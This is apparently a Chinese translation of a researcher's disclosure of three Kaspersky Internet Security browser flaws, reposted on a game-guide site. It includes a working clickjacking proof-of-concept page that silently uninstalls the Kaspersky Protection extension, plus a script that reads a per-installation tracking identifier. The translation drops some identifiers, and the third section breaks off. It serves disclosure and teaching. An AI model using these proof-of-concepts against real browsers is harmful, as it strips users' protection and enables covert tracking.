> 攻略 > 手游攻略 > 详情

卡巴斯基安全软件将在您的所有浏览器中安装其扩展程序

2024-02-28 13:02:49 | 来源: 互联网整理

调查结果摘要

第一个漏洞影响卡巴斯基保护浏览器扩展的谷歌浏览器浏览器(不是其对应物),该扩展由卡巴斯基安全软件自动安装。任意网站都可以诱骗它卸载浏览器扩展程序(CVE-2019-15684)。特别是,他们可以卸载卡巴斯基保护本身,这将以静默方式发生。卸载其他浏览器扩展程序将使 显示额外的确认提示,因此需要社交工程才能使用户接受它。虽然这个提示大大降低了问题的严重性,但卡巴斯基解决它的方式也非常显着。最初尝试解决此问题需要八个月的时间,但在进行微不足道的更改后,可以再次重现该问题。

第二个漏洞与Heise 今年早些时候展示的漏洞非常相似。虽然卡巴斯基以相当彻底的方式处理了他们的报告,并且他们的应用程序暴露在网络上的大多数值都不适合跟踪,但有一个值被忽视了。我可以演示任意网站如何检索卡巴斯基安全软件特定安装所特有的用户标识符(CVE-2019-15687)。此标识符在所有浏览器之间共享,不受保护机制(如“无痕浏览”)的影响。

最后,最后一个问题会影响卡巴斯基安全软件生成的特殊网页使用的链接,例如无效证书或网络钓鱼警告页面。这些链接将触发应用程序中的操作,例如为无效证书添加例外、覆盖网络钓鱼警告或禁用银行网站上的安全支付保护。我可以找到一种方法,让网站检索一个此类链接的值,并从中预测分配给未来链接的值(CVE-2019-15688)。这允许网站以编程方式从特殊页面触发操作,而不必通过点击劫持或社交工程诱骗用户点击它们。

问题

卡巴斯基安全软件将在您的所有浏览器中安装其扩展程序,这应该使您的浏览更安全。这些扩展具有相当多的功能。一个特别的功能引起了我的注意:卸载其他浏览器扩展程序的能力,由于某种原因,它只存在于 的扩展程序中,而不存在于其对应项中。据推测,这是用于删除已知的恶意扩展。

function handleDeletePlugin(request, sender, sendResponse) {
    chrome.management.uninstall(request.id, function () {
        if (chrome.runtime.lastError)
            trySendResponse(sendResponse, { result: -1, errorText: chrome.runtime.lastError.message });
        else
            trySendResponse(sendResponse, { result: 1 });
    });
}

每当单击具有 ID 的元素时,此代码都会由页面触发。这通常是我停止调查这个问题的地方,扩展页面是网站无法访问的。但此特定页面列在扩展清单中的rces下。这意味着允许任何网站在框架中加载此页面。

不仅如此,此页面(与此扩展中旨在显示在注入的帧中的任何页面一样)通过而不是使用特定于扩展的消息传递机制接收其数据。MDN对这里的安全问题有话要说:

如果您确实希望从其他站点接收邮件,请始终使用源属性和可能的源属性来验证发件人的身份。任何窗口(例如,包括 )都可以将消息发送到任何其他窗口,并且您不能保证未知发件人不会发送恶意消息。

您可以猜到,此处不执行对发件人身份的验证。因此,任何网站都可以告诉该页面它应该删除哪个扩展名以及它应该显示哪些文本。哦,CSS样式也是由嵌入页面通过URL参数确定的。但是,为了以防万一用户不会自愿单击该按钮,则可以使用点击劫持并诱骗他们这样做。

漏洞利用

以下是完整的概念验证页面,如果用户单击页面上的任意位置,则会以静默方式删除卡巴斯基保护扩展程序。


  
    <script>
      window.onload = function(event)
      {
        let frame = document.getElementById("frame");
        frame.contentWindow.postMessage(JSON.stringify({
          command: "init",
          data: JSON.stringify({
            id: "amkpcclbbgegoafihnpgomddadjhcadd"
          })
        }), "*");
        window.addEventListener("mousemove", event =>
        {
          frame.style.left = (event.clientX - frame.offsetWidth / 2) + "px";
          frame.style.top = (event.clientY - frame.offsetHeight / 2) + "px";
        });
      };
    </script>
  
  <body style="overflow: hidden;">
    <iframe id="frame"
      style="opacity: 0.0001; width: 100px; height: 100px; position: absolute" frameborder="0"
      src="chrome-extension://amkpcclbbgegoafihnpgomddadjhcadd/background/ext_remover.html?cssSrc=data:text/css,%2523dbutton{position:fixed;left:0;top:0;width:100%2525;bottom:0}">
    </iframe>
    

Click anywhere on this page to get surprised!

事件处理程序确保不可见的帧始终位于鼠标指针下方。参数中提供的 CSS 样式可确保按钮填充框架内的所有空间。任何单击都将不可避免地触发卸载操作。通过替换参数,还可以删除其他扩展卡巴斯基升级包,而不仅仅是卡巴斯基保护本身。幸运的是,不允许扩展程序默默地执行此操作,但会要求额外的确认。

因此,攻击者需要对用户进行社会工程改造,使其相信此扩展实际上需要删除,例如,因为它是恶意的。通常这是一项相当棘手的任务,但是卡巴斯基借出他们的名字使它变得容易得多。

这是固定的吗?

卡巴斯基通知我此问题已得到解决。他们没有要求我验证,所以我没有。但是,在撰写此博客文章时,我想看看他们的修复程序是什么样的。因此,我从卡巴斯基安全软件2020获得了新的浏览器扩展程序,将其解压缩并浏览了源代码。然而,这种方法并没有让我得到任何东西,逻辑看起来与旧逻辑完全相同。

因此,我试图看到扩展的实际效果。我打开了概念验证页面,并收到了以下消息:

我认为为我的概念验证添加启发式方法是一种预防措施,也许是尚未收到正确修复的旧版本的权宜之计。启发式似乎寻找字符串,并在页面源代码中,只有当它们全部被找到时才会触发。当然,这是微不足道的规避。

好的,页面加载,但框架没有。事实证明,扩展ID在新版本中更改,该扩展ID很容易更新。单击页面...什么?扩展程序消失了?这是否意味着这种启发式实际上是他们的解决方案?我的大脑爆炸了。

当我通知卡巴斯基时,他们立即证实了我的发现。他们还承诺,他们将调查这是如何发生的。虽然任何人都不太可能知道他们的调查结果,但我不禁想到,他们组织内的某个地方一定有人认为,用启发式方法掩盖问题就足以使问题消失。他们的同行没有质疑这个结论。

真正的解决方案

几周前,卡巴斯基再次通知我该问题正在解决。这次修复从源代码中很明显:

if (origin !== "http://touch.kaspersky.com")
  return;

此处的来源检查可确保网站通常无法利用此漏洞。除非有人设法将代码注入到域中。这比听起来更容易,因为我们谈论的是未加密的连接 - 注意而不是在这里被期望。根据卡巴斯基的说法,这部分现在也是固定的,补丁目前正在推出。

使用卡巴斯基跟踪用户问题

今年8月,Heise 展示了卡巴斯基软件如何为网站提供唯一的用户标识符,这些标识符可以被滥用进行跟踪 - 无论隐私浏览模式如何,甚至跨不同的浏览器。我在之前的研究中注意到:卡巴斯基软件生成了许多不同的用户特定标识符,其中许多标识符在网页的范围内。我看了一下,所有这些标识符要么变成了常量(在所有安装中都相同),要么只在单个会话中保持有效。

也就是说,几乎所有的。卡巴斯基安全软件注入网页的脚本开头如下:main.js

var KasperskyLab = {
  SIGNATURE: "427A2927-6E16-014D-99C8-EDF9A859272B",
  CSP_NONCE: "CAD1B86EE5BAB74FB865E59BE19D9AE9",
  PLUGINS_LIST: "",
  PREFIX: "http://gc.kis.v2.scr.kaspersky-labs.com/",
  INJECT_ID: "FD126C42-EBFA-4E12-B309-BB3FDD723AC1",
  WORK_IDENTIFIERS: "427A2927-6E16-014D,921A7D4E-AD84-244A,570FF4E7-B048-1D4E,979DF469-AA8E-C049"
};

每次重新启动卡巴斯基安全软件时都会更改,在所有安装中都是相同的。但是呢?此项包含四个值。第一个显然是 的子字符串,这意味着它在很大程度上对于跟踪目的毫无用处。但其他三个结果是特定于安装的值。

网站如何获得价值?它不能只是下载,这是同源策略所禁止的。但实际上有一种更简单的方法,这要归功于此脚本处理它的方式:

if (ns.WORK_IDENTIFIERS)
{
  var workIdentifiers = ns.WORK_IDENTIFIERS.split(",");
  for (var i = 0; i < workIdentifiers.length; ++i)
  {
    if (window[workIdentifiers[i]])
    {
      ns.AddRunner = function(){};
      return;
    }
    window[workIdentifiers[i]] = true;
  }
}

解释:其中的每个值最终都作为对象上的属性(在中称为全局变量),显然是为了防止多次执行此脚本。这也是网页可以访问它们的地方。

漏洞利用

下面的代码段查找其名称中包含的所有属性。这足以删除所有默认属性,仅保留卡巴斯基添加的属性。

let keys = Object.keys(window).filter(k => k.includes("-")).slice(1);
if (keys.length)
  alert("Your Kaspersky ID: " + keys.join(","));

为了简单起见,这滥用了和的引擎中的实现细节。虽然从理论上讲,属性的返回顺序是未定义的,但在此特定情况下,它们将按添加的顺序返回。这样可以更轻松地删除不适合用户跟踪目的的第一个属性。

还有一点需要注意:即使安装了卡巴斯基安全软件,其脚本也可能不会注入网页。如果安装了卡巴斯基保护浏览器扩展程序,则尤其如此。但这并不意味着这个问题是不可利用的。

修复

截至卡巴斯基安全软件2020年补丁E(大概也是卡巴斯基网络安全软件2019年补丁I,我没有测试)时,代码处理仍然是脚本的一部分,但值本身已经消失了。因此,没有在对象上设置任何属性。

通过链接控制卡巴斯基功能问题

热门手游排行榜

热门专题